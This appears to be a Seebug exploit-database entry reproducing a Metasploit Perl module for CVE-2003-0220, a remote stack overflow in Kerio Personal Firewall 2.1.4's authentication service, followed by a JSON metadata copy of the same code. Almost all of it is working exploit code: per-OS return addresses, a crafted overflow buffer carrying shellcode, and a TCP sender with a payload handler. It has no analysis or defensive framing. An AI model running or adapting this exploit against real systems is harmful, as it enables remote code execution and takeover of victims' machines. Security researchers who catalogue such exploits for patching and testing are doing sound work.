Kerio Personal Firewall <= 2.1.4 Remote Authentication Packet Overflow
2006-02-28T00:00:00
ID SSV:13595 Type seebug Reporter Root Modified 2006-02-28T00:00:00
Description
No description provided by source.
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::kerio_auth;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'Kerio Personal Firewall 2 (2.1.4) Remote Authentication Packet Buffer Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'y0 [at] w00t-shell.net', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp', ],
'Priv' => 0,
'UserOpts' => {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 44334],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'AutoOpts' => { 'EXITFUNC' => 'process' },
'Payload' => {
'Space' => 1000,
'BadChars' => "\x00",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
'Keys' => ['-ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in Kerio Personal Firewall
administration authentication process. This module has only been tested
against Kerio Personal Firewall 2 2.1.4.
}),
'Refs' => [
['BID', '7180'],
['CVE', '2003-0220'],
['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
],
'Targets' => [
['Windows 2000 Pro SP4 English', 0x7c2ec68b],
['Windows XP Pro SP0 English', 0x77e3171b],
['Windows XP Pro SP1 English', 0x77dc5527],
],
'Keys' => ['firewall'],
'DisclosureDate' => 'Apr 28 2003',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
my $sploit =
Pex::Text::AlphaNumText(4268). $shellcode.
pack('V', $target->[1]). "\xe9\x0b\xfe\xff\xff";
$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$s->Send($sploit);
$self->Handler($s);
$s->Close();
return;
}
1;
# sebug.net
{"sourceData": "\n ##\r\n# This file is part of the Metasploit Framework and may be redistributed\r\n# according to the licenses defined in the Authors field below. In the\r\n# case of an unknown or missing license, this file defaults to the same\r\n# license as the core Framework (dual GPLv2 and Artistic). The latest\r\n# version of the Framework can always be obtained from metasploit.com.\r\n##\r\n\r\npackage Msf::Exploit::kerio_auth;\r\nuse base "Msf::Exploit";\r\nuse strict;\r\nuse Pex::Text;\r\n\r\nmy $advanced = { };\r\n\r\nmy $info =\r\n {\r\n\r\n\t'Name' => 'Kerio Personal Firewall 2 (2.1.4) Remote Authentication Packet Buffer Overflow',\r\n\t'Version' => '$Revision: 1.1 $',\r\n\t'Authors' => [ 'y0 [at] w00t-shell.net', ],\r\n\t'Arch' => [ 'x86' ],\r\n\t'OS' => [ 'win32', 'win2000', 'winxp', ],\r\n\t'Priv' => 0,\r\n\t'UserOpts' => {\r\n\t\t'RHOST' => [1, 'ADDR', 'The target address'],\r\n\t\t'RPORT' => [1, 'PORT', 'The target port', 44334],\r\n\t\t'SSL' => [0, 'BOOL', 'Use SSL'],\r\n\t },\r\n\t'AutoOpts' => { 'EXITFUNC' => 'process' },\r\n\t'Payload' => {\r\n\t\t'Space' => 1000,\r\n\t\t'BadChars' => "\\x00",\r\n\t\t'Prepend' => "\\x81\\xc4\\x54\\xf2\\xff\\xff",\r\n\t\t'Keys' => ['-ws2ord'],\r\n\t },\r\n\r\n\t'Description' => Pex::Text::Freeform(qq{\r\n\tThis module exploits a stack overflow in Kerio Personal Firewall \r\nadministration authentication process. This module has only been tested \r\nagainst Kerio Personal Firewall 2 2.1.4.\r\n}),\r\n\r\n\t'Refs' => [\r\n\t\t['BID', '7180'],\r\n\t\t['CVE', '2003-0220'],\r\n\t\t['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],\r\n\t ],\r\n\r\n\t'Targets' => [\r\n\t\t['Windows 2000 Pro SP4 English', 0x7c2ec68b],\r\n\t\t['Windows XP Pro SP0 English', 0x77e3171b],\r\n\t\t['Windows XP Pro SP1 English', 0x77dc5527],\r\n\t ],\r\n\r\n\t'Keys' => ['firewall'],\r\n\r\n\t'DisclosureDate' => 'Apr 28 2003',\r\n\r\n };\r\n\r\nsub new {\r\n\tmy $class = shift;\r\n\tmy $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);\r\n\treturn($self);\r\n}\r\n\r\nsub Exploit\r\n{\r\n\tmy $self = shift;\r\n\tmy $target_host = $self->GetVar('RHOST');\r\n\tmy $target_port = $self->GetVar('RPORT');\r\n\tmy $target_idx = $self->GetVar('TARGET');\r\n\tmy $shellcode = $self->GetVar('EncodedPayload')->Payload;\r\n\tmy $target = $self->Targets->[$target_idx];\r\n\r\n\tif (! $self->InitNops(128)) {\r\n\t\t$self->PrintLine("[*] Failed to initialize the nop module.");\r\n\t\treturn;\r\n\t}\r\n\r\n\tmy $sploit =\r\n\t Pex::Text::AlphaNumText(4268). $shellcode.\r\n\t pack('V', $target->[1]). "\\xe9\\x0b\\xfe\\xff\\xff";\r\n\r\n\t$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));\r\n\r\n\tmy $s = Msf::Socket::Tcp->new\r\n\t (\r\n\t\t'PeerAddr' => $target_host,\r\n\t\t'PeerPort' => $target_port,\r\n\t\t'LocalPort' => $self->GetVar('CPORT'),\r\n\t\t'SSL' => $self->GetVar('SSL'),\r\n\t );\r\n\tif ($s->IsError) {\r\n\t\t$self->PrintLine('[*] Error creating socket: ' . $s->GetError);\r\n\t\treturn;\r\n\t}\r\n\r\n\t$s->Send($sploit);\r\n\t$self->Handler($s);\r\n\t$s->Close();\r\n\treturn;\r\n}\r\n\r\n1;\r\n\r\n# sebug.net\r\n\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-13595", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-13595", "type": "seebug", "viewCount": 2, "references": [], "lastseen": "2017-11-19T22:31:02", "published": "2006-02-28T00:00:00", "cvelist": [], "id": "SSV:13595", "enchantments_done": [], "modified": "2006-02-28T00:00:00", "title": "Kerio Personal Firewall <= 2.1.4 Remote Authentication Packet Overflow", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 5.2, "vector": "NONE"}, "dependencies": {}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2003-0220"]}]}, "exploitation": null, "vulnersScore": 5.2}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647589307, "score": 0}}